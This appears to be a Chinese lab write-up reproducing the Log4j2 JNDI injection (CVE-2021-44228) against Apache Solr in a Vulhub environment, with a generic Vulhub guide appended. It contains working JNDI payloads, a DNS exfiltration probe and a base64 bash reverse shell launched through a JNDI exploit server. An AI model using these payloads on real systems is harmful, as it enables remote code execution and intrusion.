CVE-2021-44228漏洞复现

目录

漏洞介绍

复现过程

一、启动docker打开实验环境

二、确定java版本

三、反弹shell连接

四、建立连接

补充:将反弹shell放入msf中使用

一、进入msf中并启动监听

二、编写木马后门

三、下载木马到目标机

四、建立连接

总结


漏洞介绍

此漏洞为log4j2漏洞,log4j2是java语言的日志处理套件,使用很广泛。在2.0到2.14.1版本中存在JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似'${jndi:ldap://evil.com/example}'​的参数进行JNDI注入,执行任意代码(注:Java环境1.8也可能会存在)

什么是JNDI?

Java 命名和目录接口(Java Naming and DirectoryInterface,缩写JNDI),是Java 的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
通俗一点来讲JNDI可以远程加载LDAP或 RMI服务端提供的恶意代码注入并执行。

以 LDAP 方式:LDAP:Idap://127.0.0.1/payload 提供恶意代码

LDAP:轻型目录访问协议(Lightweight Directory Access Protocol),它是一种用于访问和维护分布式目录服务的开放标准协议

RMI:RMI代表远程方法调用(Remote Method Invocation),它是Java平台提供的一种机制,用于在不同的Java虚拟机(JVM)之间进行远程通信和方法调用。

Log4j2 是一个日志处理框架,只要将${jndi:ldap://127.0.0.1/payload}传递到日志中就可以触发,日志的级别必须是error 或fatal。所以测试方法也比较简单粗暴,任何参数都可以直接插入${jndi:ldap://127.0.0.1/payload},我们只需要判断目标服务器有没有加载ldap://127.0.0.1/payload 就可以判断是否存在漏洞。

示例图:

解释:

攻击者首先需要建立一个ldap服务,用这个服务器来回应用客户端发出的恶意请求,恶意的ldap服务器收到这个恶意请求时就会向java应用中发送恶意执行脚本

环境:

apache log4j2不是一个特定的web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如apache solr(是一个开源的高性能搜索服务,采用java5开发,基于lucene的全文搜索服务)

启动一个apache solr 8.11.0,依赖了log4j2 2.14.1

复现过程解释:

利用bp collaborator客户端回显java版本号,跟DNSlog同理(bp不好用就用dnslog)

在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起 DNS 请求,这个时候就可以通过
DNSlog 把想获得的数据外带出来。

DNS 的全称是 Domain Name System(网络名称系统),它作为将域名和 IP 地址相互映射,使人更方便地访问互联网。当用户输入某一网址如 www.baidu.com,网络上的 DNS Server 会将该域名解析,并找到对应的真实IP如 127.0.0.1,使用户可以访问这台服务器上相应的服务。

DNSlog 就是存储在 DNSServer 上的域名信息,它记录着用户对域名 www.baidu.com 等的访问信息,类似日志文件。

复现过程

一、启动docker打开实验环境

注:这里在启动时出现版本报错,提示版本过低,这里将version2改成2.1即可

启动成功即可访问此页面

二、确定java版本

先get subdimain得到域名

随后将域名复制进入这串代码中

得到

因为这里面存在一些特殊符号在url访问时会出错,因此需要将其转换为url编码(以下为上述内容的url编码)

%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%24%7b%73%79%73%3a%6a%61%76%61%2e%76%65%72%73%69%6f%6e%7d%2e%33%30%38%6a%79%61%2e%64%6e%73%6c%6f%67%2e%63%6e%7d

转换后将其放入以下内容进行搜索

http://192.168.100.111:8983/solr/admin/cores?action=%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%24%7b%73%79%73%3a%6a%61%76%61%2e%76%65%72%73%69%6f%6e%7d%2e%33%30%38%6a%79%61%2e%64%6e%73%6c%6f%67%2e%63%6e%7d

完成搜索后回到dnslog中进行刷新

刷新完成之后可以看到dns返回的内容中有版本信息1.8.0,因为在进行访问时添加了${sys:java.version}​

三、反弹shell连接

将反弹shell命令进行base64编码(因为这个命令里面包含了特殊字符,这里不是url访问所以将其改成base64编码即可)

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMjcvNDQ0NCAwPiYx

启动JNDI服务

其中java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar​是启动了jndi

-C则是运行了后面一长串的代码{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvNDQ0NCAwPiYxIA}|{base64,-d}|{bash,-i}" -A 192.168.100.127​:花括号代表了声明了这一块是一个整体,因此这串代码的意思是输出base64代码时解码在bash中运行其目标主机为192.168.100.127

注:一定要打逗号,因为前面有个bash -c​,如不过不打逗号,系统会将括号里面的内容识别成两个参数,但是打了逗号才会将里面内容识别为一体

确认建立连接的方式

在上面我们确认了java的版本为1.8.0所以我们选择JDK1.8中的ldap

四、建立连接

将连接的代码放入网址中(记得将有特殊符号的地方改成url编码这个是网址)

​http://192.168.100.111:8983/solr/admin/cores?action=${jndi:ldap://192.168.100.127:1389/pbr3pz}​

修改成以下内容

​http://192.168.100.111:8983/solr/admin/cores?action=%24%7b%6a%6e%64%69%3a%6c%64%61%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%30%30%2e%31%32%37%3a%31%33%38%39%2f%70%62%72%33%70%7a%7d​

在攻击机建立监听

同时这个界面不要关闭在建立连接之后才可关闭

在访问上述更改的网址之后便会成功建立连接

补充:将反弹shell放入msf中使用

一、进入msf中并启动监听

端口不要设置为4444,因为在使用

二、编写木马后门

这里上传到了apache目录中,方便下载

三、下载木马到目标机

这里通过已建立的连接进行操作,命令意为,将其下载到本机中同时将其加入执行权限,最后运行后将其删除

四、建立连接

需要注意的一点是,这里是通过容器拉取的镜像,所以当我们在查看内容的时候不是虚拟机上的内容

总结

需要确定java版本号,可以通过jndi注入来查看版本信息,随后需要编写反弹shell命令,随后通过jndi的相应命令进行操作连接,需要注意的是,在整个实验中存在大量的编码转换,转换时如果存在空格将会直接影响结果,并且在结合jndi包进行远程连接的时候{}里面两个参数之间需要添加逗号,如果不添加系统将会认为是两个参数,而非一个整体

### Vulhub靶场中CVE漏洞复现方法 #### 准备工作 为了在Vulhub靶场中成功复现CVE漏洞,需先搭建好环境。这通常涉及安装Docker以及配置网络设置以确保攻击机和靶机能相互通信[^1]。 对于具体的漏洞复现案例,比如MySQL类型的CVE-2012-2122,在开始之前要确认已经按照官方文档完成了必要的准备工作,包括但不限于正确设置了Docker版本和支持组件;同时也要注意检查目标系统的内核参数是否满足实验需求[^3]。 #### 复现流程概述 当准备就绪后,可以通过如下方式启动特定的漏洞场景: 1. **获取并构建镜像** 使用`git clone`命令下载Vulhub项目仓库到本地计算机上; 接着进入对应目录下(例如针对某个具体应用),通过执行`docker-compose up -d`来拉取所需的基础镜像并完成服务部署。 2. **验证环境状态** 利用`docker ps`查看正在运行的服务实例列表,确保所选的应用程序已被正常加载且处于监听状态。 3. **实施攻击测试** 根据选定的CVE编号查阅相关资料了解其利用原理和技术细节,然后编写相应的脚本或手动操作尝试触发该缺陷。例如,在处理Webmin(CVE-2019-15107)时可能会采用反向Shell的方式建立远程控制连接[^5]。 4. **分析结果反馈** 成功触发漏洞之后应当仔细观察系统行为变化,并收集日志文件用于后续研究学习。如果遇到困难,则可参照社区分享的经验贴寻求解决方案。 ```bash # 下载Vulhub项目 git clone https://github.com/vulhub/vulhub.git # 启动指定漏洞环境 cd vulhub/<app_name> docker-compose up -d ``` #### 实际例子说明 以ActiveMQ为例[CVE-2017-3066],此漏洞允许未经身份验证的用户发送恶意JMS消息从而实现任意代码执行。为重现这一过程,除了上述通用步骤外还需要特别关注如何构造有效的payload数据包以便于被服务器端解析成危险指令集。 同样地,在探讨Confluence相关的多个CVE条目时,如CVE-2023-26360, CVE-2023-29300等,重点在于理解各自影响范围内的功能模块特性及其可能存在的安全隐患点,进而设计针对性强的有效负载来进行实战演练[^2]。 #### 注意事项 在整个过程中务必保持谨慎态度对待网络安全法规和个人隐私保护政策,仅限于合法授权范围内开展此类实践活动。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值